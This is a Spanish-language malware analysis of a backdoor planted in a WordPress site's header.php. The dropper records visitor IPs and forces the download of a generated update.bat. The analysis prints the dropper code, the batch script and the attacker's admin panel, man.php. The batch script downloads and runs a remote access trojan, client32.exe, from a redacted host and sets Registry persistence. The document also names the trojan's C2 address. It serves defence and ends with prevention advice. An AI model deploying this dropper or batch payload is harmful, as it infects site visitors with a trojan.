Introducción
Una nueva amenaza cibernética ha sido identificada afectando sitios WordPress, donde un archivo PHP malicioso actúa como puerta trasera (backdoor) para distribuir malware en sistemas operativos Windows. Este tipo de infección no presenta signos visuales evidentes y representa un riesgo grave tanto para la reputación de los sitios comprometidos como para la seguridad de los visitantes. A través de un dropper oculto en el archivo header.php, los atacantes generan y entregan un script .bat que descarga y ejecuta un troyano de acceso remoto (RAT), comprometiendo el sistema de la víctima sin su conocimiento.
Estructura del ataque: ¿Cómo opera el backdoor?
Archivos involucrados
- header.php – Dropper principal que ejecuta lógica condicional según IP.
- count.txt – Lista de IPs ya infectadas para evitar múltiples ejecuciones.
- update.bat – Script por lotes generado dinámicamente.
- psps.zip – Archivo comprimido falso con malware embebido.
- man.php – Panel administrativo para el atacante.
Código malicioso: fragmentos analizados
1. Registro de direcciones IP
$ip = $_SERVER['REMOTE_ADDR'];
$filename = "count.txt";
$data = file($filename, FILE_IGNORE_NEW_LINES);
if (!in_array($ip, $data)) {
$file = fopen("count.txt", "a");
fwrite($file, "$ip\n");
fclose($file);
}
Evita múltiples entregas del script malicioso a la misma IP.
2. Generación del script update.bat
$bat = "@echo off
powershell -Command \"Invoke-WebRequest -Uri http://[REDACTED]/psps.zip -OutFile psps.zip\"
powershell -Command \"Expand-Archive -Path psps.zip -DestinationPath .\\\"
start client32.exe
reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsSecurity /t REG_SZ /d %cd%\\client32.exe /f
del psps.zip";
file_put_contents("update.bat", $bat);
Automatiza la infección mediante PowerShell, establece persistencia vía Registro y elimina evidencias locales.
3. Entrega del script malicioso
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=update.bat");
readfile("update.bat");
Fuerza la descarga del archivo .bat desde el navegador del visitante.
4. Gestión remota vía man.php
$filename = "count.txt";
$data = file($filename, FILE_IGNORE_NEW_LINES);
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST["clear"])) {
file_put_contents($filename, "");
echo "List cleared.";
} elseif (isset($_POST["delete"])) {
$ipToDelete = $_POST["ip"];
$newData = array_filter($data, function($ip) use ($ipToDelete) {
return trim($ip) !== trim($ipToDelete);
});
file_put_contents($filename, implode("\n", $newData));
echo "IP deleted: " . htmlspecialchars($ipToDelete);
} elseif (isset($_POST["add"])) {
$ipToAdd = $_POST["ip"];
file_put_contents($filename, "$ipToAdd\n", FILE_APPEND);
echo "IP added: " . htmlspecialchars($ipToAdd);
}
exit;
}
Este script le da control completo al atacante sobre las IPs ya impactadas.
Payload: ejecución del troyano
El archivo psps.zip contiene client32.exe, un troyano de acceso remoto (RAT) que se conecta a un servidor C2 externo (IP: 5.252.178.123 puerto 443), permanece residente en memoria y se autoejecuta en cada inicio de sesión gracias a su persistencia en el Registro de Windows.
Recomendación gerencial para prevenir este tipo de amenazas
Para prevenir ataques de este tipo, se recomienda a las organizaciones implementar un monitoreo proactivo e integral de integridad de archivos en WordPress, emplear reglas de firewall de aplicaciones web (WAF) que bloqueen scripts sospechosos, restringir permisos de ejecución y escritura sobre archivos PHP, y aplicar políticas de desactivación de funciones peligrosas en el servidor. Además, se debe capacitar al equipo técnico en detección temprana de compromisos y contar con soluciones de protección avanzada en endpoints para prevenir la ejecución de archivos .bat o .exe maliciosos. Una estrategia de seguridad debe contemplar la visibilidad total del entorno, respuesta rápida ante incidentes y procesos automatizados de remediación.
